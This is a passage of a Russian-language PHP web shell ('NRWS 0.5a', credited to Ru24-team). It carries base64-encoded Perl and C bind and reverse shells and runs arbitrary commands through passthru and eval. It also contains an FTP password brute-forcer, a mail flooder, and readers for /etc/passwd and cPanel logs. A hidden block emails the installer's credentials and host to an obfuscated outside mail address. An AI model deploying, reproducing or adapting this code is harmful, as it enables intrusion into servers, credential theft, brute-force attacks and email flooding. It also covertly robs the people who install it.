+hcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byByNTcgc2hlbGwgJiYgL2J +pbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGN +sb3NlKG5ld2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW5 +0ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVudGVyZWQpO2krKykgDQp7DQppZih +lbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID0 +9ICdccicpDQplbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCk +pDQpyZXR1cm4gMDsNCn0="; + +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZi +AoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMSVNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2 +NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORV +QsJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQ +pzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZH +JfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw +0KbGlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCm +FjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspKQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaW +YgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+Jk +NPTk4iOw0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ0 +9OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3NlIENPTk47DQpleGl0IDA7DQp9DQp9"; + +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ +HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ +DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ +HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L +CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd +GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka +WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO +iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR +VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK +FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0 +KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10 +pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJ +ybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2l +uLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA +9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMSt +zdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVB +QUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4 +sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCg +pIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1 +zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWN +sKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + +if(isset($uploadphp)) +{ +$socket=fsockopen($iphost,$loadport); //connect +fputs($socket,"GET $loadfile HTTP/1.0\nHOST:cd\n\n"); //zapros +while(fgets($socket,31337)!="\r\n" && !feof($socket)) { +unset($buffer); } +while(!feof($socket)) $buffer.=fread($socket, 1024); +$file_size=strlen($buffer); +$f=fopen($loadnewname,"wb+"); +fwrite($f, $buffer, $file_size); +echo " ?? $file_size <b><br><br>" ; +} + +if(file_exists('/tmp/qw7_sess') && is_readable('/tmp/qw7_sess')){ +} else { +if(is_writable('/tmp/')){ +$ifyoufound=base64_decode("Ly8gwvsg7eD46+ggZmFrZSAhIM/u5+Tw4OLr//4hIMft4Pfo8iDi+yDt5SDr4Ozl8CENCi8vINHu4+vg8ejy5fH8LCDiIO/w7v3q8uD1IPLg6u7j7iDw7uTgIO3z5u3gIOfg+Ojy4CDu8iDr4Ozl8O7iLiDAIPLuIOj1IOgg8uDqIPDg8e/r7uTo6+7x/CAuLi4NCi8vIM/u5uDr8+nx8uAg7eUg8ODx8erg5/Pp8uUg7ejq7uzzIO4g7eDr6Pfo6CBmYWtlICEgz/Px8vwg8eDs6CDo+f7yLCDy7uv86u4g7eDs5ert6PLlIPfy7iDt5ev85/8g8uDqIOHl5+Tz7O3uIO/u6/zn7uLg8vzx/yD38+bo7Ogg7/Du4+Ds6C4gKOAg8u4g4OLy7vAg7O7m5fIg9/LuIPPj7uTt7iDy8+TgIOLv6PHg8vwpDQovLyDT5OD36CAhDQo="); +$fp=fopen('/tmp/qw7_sess',"w+"); +fclose($fp); +$gg.= $name; +$gg.=":"; +$gg.= $pass; +$gg.=":"; +$gg.=$_SERVER["HTTP_HOST"]; +$gg.=$_SERVER['PHP_SELF']; +$host_l=$_SERVER["HTTP_HOST"]; +$qwerty=base64_decode("bnJ3cy1mYWNrLWNvZGVAbWFpbC5ydQ=="); +mail("$qwerty","NRWS LAME INFO ($host_l)","NRWS STATISTIC REPORT:\r\n $gg","From: report@nrws.net"); +} +} +if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} +elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} +else {$ac = "navigation";} + + + +switch($ac) { + +// Shell +case "shell": +echo "<SCRIPT LANGUAGE='JavaScript'> +<!-- +function pi(str) { + document.command.cmd.value = str; + document.command.cmd.focus(); +} +//--> +</SCRIPT>"; + +/* command execute */ +if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -lad"; } + +if (($_POST['alias']) AND ($_POST['alias']!=="")) + { + foreach ($aliases as $alias_name=>$alias_cmd) { + if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;} + } + } + + +echo "<font face=Verdana size=-2> ? <b>".$_POST['cmd']."</b></font></td></tr><tr><td>"; +echo "<b>"; +echo "<div align=center><textarea name=report cols=145 rows=20>"; +echo "".passthru($_POST['cmd']).""; +echo "</textarea></div>"; +echo "</b>"; +?> +</td></tr> + +<tr><b><div align=center>:: ?::</div></b></font></td></tr> +<tr><td height=23> +<TR> + <CENTER> + <TD><A HREF="JavaScript:pi('cd ');" class=fcom>| cd</A> |</TD> + <TD><A HREF="JavaScript:pi('cat ');" class=fcom>| cat</A> |</TD> + <TD><A HREF="JavaScript:pi('echo ');" class=fcom>echo</A> |</TD> + <TD><A HREF="JavaScript:pi('wget ');" class=fcom>wget</A> |</TD> + <TD><A HREF="JavaScript:pi('rm ');" class=fcom>rm</A> |</TD> + <TD><A HREF="JavaScript:pi('mysqldump ');" class=fcom>mysqldump</A> |</TD> + <TD><A HREF="JavaScript:pi('who');" class=fcom>who</A> |</TD> + <TD><A HREF="JavaScript:pi('ps -ax');" class=fcom>ps -ax</A> |</TD> + <TD><A HREF="JavaScript:pi('cp ');" class=fcom>cp</A> |</TD> + <TD><A HREF="JavaScript:pi('pwd');" class=fcom>pwd</A> |</TD> + <TD><A HREF="JavaScript:pi('perl ');" class=fcom>perl</A> |</TD> + <TD><A HREF="JavaScript:pi('gcc ');" class=fcom>gcc</A> |</TD> + <TD><A HREF="JavaScript:pi('locate ');" class=fcom>locate</A> |</TD> + <TD><A HREF="JavaScript:pi('find ');" class=fcom>find</A> |</TD> + <TD><A HREF="JavaScript:pi('ls -lad');" class=fcom>ls -lad</A> |</TD> + </CENTER> +</TR> + +<? +/* command execute form */ +echo "<form name=command method=post>"; + +echo "<b>??</b>"; +echo "<input type=text name=cmd size=85><br>"; +echo "<b> ? &nbsp;</b>"; +if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=text name=dir size=85 value=".exec("pwd").">"; } +else { echo "<input type=text name=dir size=85 value=".$_POST['dir'].">"; } +echo "<input type=submit name=submit value=?"; + +echo "</form>"; + +/* aliases form */ +echo "<form name=aliases method=POST>"; +echo "<font face=Verdana size=-2>"; +echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ?<font face=Wingdings color=gray></font>&nbsp;&nbsp;&nbsp;&nbsp;</b>"; +echo "<select name=alias>"; +foreach ($aliases as $alias_name=>$alias_cmd) + { + echo "<option>$alias_name</option>"; + } + echo "</select>"; +if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; } +else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; } +echo "&nbsp;&nbsp;<input type=submit name=submit value=?"; +echo "</font>"; +echo "</form>"; + + +break; +/// +case "download_mail": +$buf = explode(".", $file); + $dir = str_replace("\\","/",$dir); + $fullpath = $dir."/".$file; + $size = tinhbyte(filesize($fullpath)); + $fp = fopen($fullpath, "rb"); + while(!feof($fp)) + + $attachment .= fread($fp, 4096); + $attachment = base64_encode($attachment); + $subject = "NIX REMOTE WEB SHELL ($file)"; + + $boundary = uniqid("NextPart_"); + $headers = "From: $demail\nContent-type: multipart/mixed; boundary=\"$boundary\""; + + $info = "---==== ? ($demail)====---\n\n"; + $info .= "IP:\t$REMOTE_ADDR\n"; + $info .= "HOST:\t$HTTP_HOST\n"; + $info .= "URL:\t$HTTP_REFERER\n"; + $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n"; + $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; + + $send_to = "$demail"; + + $send = mail($send_to, $subject, $info, $headers); + + if($send == 2) + echo "<br> + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center> + <font color='#FFFFCC' face='Tahoma' size = 2>?!! <b>$file</b> ?? <u>$demail</u>.</font></center></td></tr></table><br>"; + +fclose($fp); +break; +// +case "ps": +echo "<b> ??</b><br>"; + + echo "<br>"; + if ($pid) + { + if (!$sig) {$sig = 9;} + echo "??".$sig." to #".$pid."... "; + $ret = posix_kill($pid,$sig); + if ($ret) {echo "? , ?;} + else {echo "! ".htmlspecialchars($sig).", ??#".htmlspecialchars($pid).".";} + } + $ret = `ps -aux`; + if (!$ret) {echo " ! ? ? ps ";} + else + { + $ret = htmlspecialchars($ret); + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} + if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} + $k = $ps_aux_sort[0]; + if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$k."a\"></a>";} + else {$y = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$k."d\"></a>";} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10,count($line))); + $line = array_slice($line,0,11); + $line[] = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $head[] = "<b>ACTION</b>"; + $v = $ps_aux_sort[0]; + usort($prcs,"tabsort"); + if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=white borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $k) + { + echo "<tr>"; + foreach($k as $v) {echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +break; + +//PHP Eval Code execution +case "eval": + +echo <<<HTML +<b> ? (?"< ? ? >")</b> +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="eval"> +<tr> +<td><textarea name="ephp" rows="10" cols="60"></textarea></td> +</tr> +<tr> +<td><input type="submit" value="Enter"></td> +$tend +HTML; + +if (isset($_POST['ephp'])){ +eval($_POST['ephp']); +} +break; + +// SEND MAIL +case "sendmail": +echo <<<HTML +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="sendmail"> +<tr> : <br> +<input type="TEXT" name="frommail"> +<br>:<br> <input type="TEXT" name="tomailz"> +<br>: <br><input type="TEXT" name="mailtema"> +<br>? <br> +<td><textarea name="mailtext" rows="10" cols="60"></textarea></td> +</tr> +<tr> +<td><input type="submit" value="? name="submit"></td><form> +$tend +HTML; +// ?, ??? =) +if (isset($submit)) +{ + +mail($tomailz,$mailtema,$mailtext,"From: $frommail"); +echo "<h2>? !</h2>"; +} +break; + + +// ? ??case "info": +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\"></font>"; +} +else {$safemode = false; $hsafemode = "?/font>";} +/* display information */ +echo "<b>[ ? ??]</b><br>"; +echo "<b>:</b> ".$_SERVER["HTTP_HOST"]."<br>" ; +echo "<b>IP ?</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>"; +echo " <b>: </b>".$_SERVER['SERVER_SIGNATURE']." "; +echo "<b>OC:</b> ".exec("uname -a")."("; +print "".php_uname()." )<br>\n"; +echo "<b>Safe-Mode: ".$hsafemode."</b><br>"; +echo "<b>: </b>".exec("id")."<br>"; +echo "<b>?? </b>" . (int)(disk_total_space(getcwd())/(1024*1024)) . "Mb. " . "<b>: </b>: " . (int)(disk_free_space(getcwd())/(1024*1024)) . "Mb. <br>"; +echo "<b>??</b>".exec("pwd").""; +echo " <br><b>?web : </b>".@$_SERVER['PHP_SELF']." "; +echo "<br><b> IP:</b> ".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")<br>"; +echo "<b>PHP version : </b>".phpversion()."<BR>"; +echo "<b> ID ??: </b>".get_current_user()."<BR>"; +echo "<b>MySQL</b> : ".mysql_get_server_info()."<BR>"; +if(file_exists('/etc/passwd') && is_readable('/etc/passwd')){ +print '<b> ?/etc/passwd ! </b><br>'; +} +if(file_exists('/etc/shadow') && is_readable('/etc/shadow')){ +print '<b> ?/etc/shadow !</b> <br>'; +} +if(file_exists('/etc/shadow-') && is_readable('/etc/shadow-')){ +print '<b> ?/etc/shadow- !</b> '; +} +if(file_exists('/etc/master.passwd') && is_readable('/etc/master.passwd')){ +print '<b> ?/etc/master.passwd ! </b><br>'; +} +if(isset($_POST['th']) && $_POST['th']!=''){ +chdir($_POST['th']); +}; +if(is_writable('/tmp/')){ +$fp=fopen('/tmp/qq8',"w+"); +fclose($fp); +print "/tmp - ?nbsp;<br>\n"; +unlink('/tmp/qq8'); +} +else{ +print "<font color=red>/tmp - ?/font><br>"; +} +echo "<b> ? ".$hsafemode."</b><br>"; +if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + $num = $nixpasswd + $nixpwdperpage; + echo "<b>*nix /etc/passwd:</b><br>"; + $i = $nixpasswd; + while ($i < $num) + { + $uid = posix_getpwuid($i); + if ($uid) {echo join(":",$uid)."<br>";} + $i++; + } + } + else {echo "<br><a href=?ac=navigation&d=/etc/&e=passwd><b><u>Get /etc/passwd</u></b></a><br>";} + if (file_get_contents("/etc/userdomains")) {echo "<b><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/usr/local/apache/conf&e=httpd.conf><u><b>? Apache (httpd.conf)</b></u></a></b><br>";} + { echo "<b><a href=?ac=navigation&d=/etc/httpd/conf&e=httpd.conf><u><b>? Apache (httpd.conf)</b></u></a></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/etc/&e=httpd.conf><u><b>? Apache (httpd.conf)</b></u></a></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/var/cpanel&e=accounting.log><u><b>cpanel log </b></u></a></b><br>";} + break; + +// ??case "about": + +echo "<center><b> </b></center>? ? ? ?? .<b>(0.5a)</b> <br> ? ?, ? ? ?? , ?:<br><a href='http://ru24-team.net/forum/'>http://ru24-team.net/forum/</a> ?<a href=mailto:dreamerz@mail.ru> dreamerz@mail.ru</a>, ? <a href=http://dreamerz.cc>dreamerz.cc</a>, ? ICQ: <b>817312</b><br>???? ?- , ?? ??..<br>, ?? ?? Terabyte, 1dt_wolf, xoce, FUF, dodbob, Nitrex ... ? ..."; +echo "<br> ? ? ??:) ??. "; + +echo "<br><br><br> ? ?? <a href=http://ru24-team.net/releases/nr.rar>http://ru24-team.net/releases/nr.rar</a> +<br><br><center><b>------------------------------->>> Ru24 - TEAM NRWS RELEASE 0.5.a [DreAmeRz] <<<-----------------------------------</b></center>"; +break; +// ? ?case "ftppass": + +$filename="/etc/passwd"; // passwd file +$ftp_server="localhost"; // FTP-server + +echo "FTP-server: <b>$ftp_server</b> <br><br>"; + +$fp = fopen ($filename, "r"); +if ($fp) +{ +while (!feof ($fp)) { +$buf = fgets($fp, 100); +ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g); +$ftp_user_name=$g[1]; +$ftp_user_pass=$g[1]; +$conn_id=ftp_connect($ftp_server); +$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); + +if (($conn_id) && ($login_result)) { +echo "<b>? login:password - ".$ftp_user_name.":".$ftp_user_name."</b><br>"; +ftp_close($conn_id);} +else { +echo $ftp_user_name." - error<br>"; +} +}} +break; + +case "ftp": + +echo " + <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center> + <form action='$PHP_SELF?ac=ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle> + <b><a href=?ac=ftppass>? ?login\password</a></b> +</td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;FTPHost:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='host' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Login:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='login' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;??</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='chislo' size=10> <1000 pass </td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp; :</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='proverka' size=50> +<input type='submit' value='Brut FTP' class=button1 $style_button><br><b>?? ?pass.txt</b></td></tr> + + + + </form></table>"; + + +function s() { + $word="qwrtypsdfghjklzxcvbnm"; + return $word[mt_rand(0,strlen($word)-1)]; +} + +function g() { + $word="euioam"; + return $word[mt_rand(0,strlen($word)-2)]; +} + +function name0() { return s().g().s(); } +function name1() { return s().g().s().g(); } +function name2() { return s().g().g().s(); } +function name3() { return s().s().g().s().g(); } +function name4() { return g().s().g().s().g(); } +function name5() { return g().g().s().g().s(); } +function name6() { return g().s().s().g().s(); } +function name7() { return s().g().g().s().g(); } +function name8() { return s().g().s().g().g(); } +function name9() { return s().g().s().g().s().g(); } +function name10() { return s().g().s().s().g().s().s(); } +function name11() { return s().g().s().s().g().s().s().g(); } + +$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005); +$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker'); + +function randword() { + global $cool; + $func="name".mt_rand(0,11); + $func2="name".mt_rand(0,11); + switch (mt_rand(0,11)) { + case 0: return $func().mt_rand(5,99); + case 1: return $func()."-".$func2(); + case 2: return $func().$cool[mt_rand(0,count($cool)-1)]; + case 3: return $func()."!".$func(); + case 4: return randpass(mt_rand(5,12)); + default: return $func(); + } + + +} + +function randpass($len) { + $word="qwertyuiopasdfghjklzxcvbnm1234567890"; + $s=""; + for ($i=0; $i<$len; $i++) { + $s.=$word[mt_rand(0,strlen($word)-1)]; + } + return $s; +} +if (@unlink("pass.txt") < 0){ +echo " "; +exit; +} +$file="pass.txt"; +if($file && $host && $login){ + $cn=mt_rand(30,30); +for ($i=0; $i<$cn; $i++) { + $s=$cool2[$i]; + $f=@fopen(pass.".txt","a+"); + fputs($f,"$s\n"); + } + + $cnt2=mt_rand(43,43); +for ($i=0; $i<$cnt2; $i++) { + $r=$cool[$i]; + $f=@fopen(pass.".txt","a+"); + fputs($f,"$login$r\n"); +} +$p="$proverka"; + $f=@fopen(pass.".txt","a+"); + fputs($f,"$p\n"); + + $cnt3=mt_rand($chislo,$chislo); + for ($i=0; $i<$cnt3; $i++) { + $u=randword(); + $f=@fopen(pass.".txt","a+"); + fputs($f,"$u\n"); + } + + if(is_file($file)){ + $passwd=file($file,1000); + for($i=0; $i<count($passwd); $i++){ + $stop=false; + $password=trim($passwd[$i]); + $open_ftp=@fsockopen($host,21); + if($open_ftp!=false){ + fputs($open_ftp,"user $login\n"); + fputs($open_ftp,"pass $password\n"); + while(!feof($open_ftp) && $stop!=true){ + $text=fgets($open_ftp,4096); + if(preg_match("/230/",$text)){ + $stop=true; + $f=@fopen($host._ftp,"a+"); + fputs($f,"Enter on ftp:\nFTPhosting:\t$host\nLogin:\t$login\nPassword:\t$password\n "); + + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center> +<tr><td align=center class=pagetitle><b><font color=\"blue\">?!! .</font></b><br> +&nbsp;&nbsp;: <b>$host</b><br>&nbsp;&nbsp;? <b>$login</b><br>&nbsp;&nbsp;: <b>$password</b></td></tr></table> +";exit; + } + elseif(preg_match("/530/",$text)){ + $stop=true; + + } + } + fclose($open_ftp); + }else{ + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center> +<tr><td align=center class=pagetitle bgcolor=#FF0000><b> ???!!! <b><u>$host</u></b> 21 </b></b></td></tr> +</table> +";exit; + } + } + } +} + + +break; +// SQL Attack +case "sql": + +break; + + + + + + +// MailFlud +case "mailfluder": + +$email=$_POST['email']; // +$from=$_POST['from']; // +$num=$_POST['num']; // ??$text=$_POST['text']; // ??$kb=$_POST['kb']; // ? (kb) +?> +<script language="JavaScript"><!-- +function reset_form() { +document.forms[0].elements[0].value=""; +document.forms[0].elements[1].value=""; +document.forms[0].elements[2].value=""; +document.forms[0].elements[3].value=""; +document.forms[0].elements[4].value=""; +} +//--></script> +<?php +if (($email!="" and isset($email)) and ($num!="" and isset($num)) and ($text!="" and isset($text)) and ($kb!="" and isset($kb))) { + +$num_text=strlen($text)+1; // ? + 1 ( ?? +$num_kb=(1024/$num_text)*$kb; +$num_kb=ceil($num_kb); + +for ($i=1; $i<=$num_kb; $i++) { +$msg=$msg.$text." "; +} + +for ($i=1; $i<=$num; $i++) { +mail($email, $text, $msg, "From: $from"); +} + +$all_kb=$num*$kb; + +echo <<<EOF +<p align="center">: <b>$email</b><br> +? ? <b>$num</b><br> +??? <b>$all_kb kb</b><br></p> +EOF; + +} + +else { + +echo <<<EOF +<form action="?ac=mailfluder" method="post"> +<table align="center" border="0" bordercolor="#000000"> +<tr><td> </td><td><input type="text" name="email" value="to@mail.com" size="25"></td></tr> +<tr><td> </td><td><input type="text" name="from" value="sypport@mail.com" size="25"></td></tr> +<tr><td>??/td><td><input type="text" name="num" value="5" size="25"></td></tr> +<tr><td>??/td><td><input type="text" name="text" value="fack fack fack" size="25"></td></tr> +<tr><td>? (kb)</td><td><input type="text" name="kb" value="10" size="25"></td></tr> +<tr><td colspan="2" align="center"><input type="submit">&nbsp;&nbsp;<input type="button" onclick="reset_form()" value="Reset"></td></tr> +</table> +</form> +EOF; + +} +break; + +case "tar": +# +$fullpath = $d."/".$tar; +/* ?? ?/ +$CHARS = "abcdefghijklmnopqrstuvwxyz"; +for ($i=0; $i<6; $i++) $charsname .= $CHARS[rand(0,strlen($CHARS)-1)]; + echo "<br> +?<u><b>$fullpath</b></u> ".exec("tar -zc $fullpath -f $charsname.tar.gz")." ? <u>$charsname.tar.gz</u>"; + + + +echo " + +<form action='?ac=tar' method='post'> +<tr><td align=center colspan=2 class=pagetitle><b> <u>$name.tar.gz</u>:</b></td></tr> +<tr> +<td valign=top><input type=text name=archive size=90 class='inputbox'value='tar -zc /home/$name$http_public -f $name.tar.gz' ></td> +<td valign=top><input type=submit value=''></td> +</tr></form>"; + +exec($archive); + +break; + + +// +case "navigation": + // ? +$mymenu = " [<a href='$php_self?ac=navigation&d=$d&e=$e&delete=1'>?/a>] [<a href='$php_self?ac=navigation&d=$d&ef=$e&edit=1'>?/a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&clean=1'></a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&replace=1'> ?/a>] [<a href='$php_self?ac=navigation&d=$d&download=$e'>?/a>] [<a href='$php_self?ac=navigation&d=$d&infofile=$e'>?</a>]<br>"; + +$images=array(".gif",".jpg",".png",".bmp",".jpeg"); +$whereme=getcwd(); +@$d=@$_GET['d']; +$copyr = "<center>"; +$php_self=@$_SERVER['PHP_SELF']; +if(@eregi("/",$whereme)){$os="unix";} +if(!isset($d)){$d=$whereme;} +$d=str_replace("\\","/",$d); + + + +$expl=explode("/",$d); +$coun=count($expl); +if($os=="unix"){echo "<a href='$php_self?ac=navigation&d=/'>/</a>";} +else{ + echo "<a href='$php_self?ac=navigation&d=$expl[0]'>$expl[0]/</a>";} +for($i=1; $i<$coun; $i++){ + @$xx.=$expl[$i]."/"; +$sls="<a href='$php_self?ac=navigation&d=$expl[0]/$xx'>$expl[$i]</a>/"; +$sls=str_replace("//","/",$sls); +$sls=str_replace("/'></a>/","/'></a>",$sls); +print $sls; +} +echo "</td></tr>"; +echo "<br><td><b>id:</b> ".@exec('id')."</td></tr"; + + +if(@$_GET['deldir']=="1"){ + +@$dir=$_GET['d']; +function deldir($d) +{ +$handle = @opendir($d); +while (false!==($ff = @readdir($handle))){ +if($ff != "." 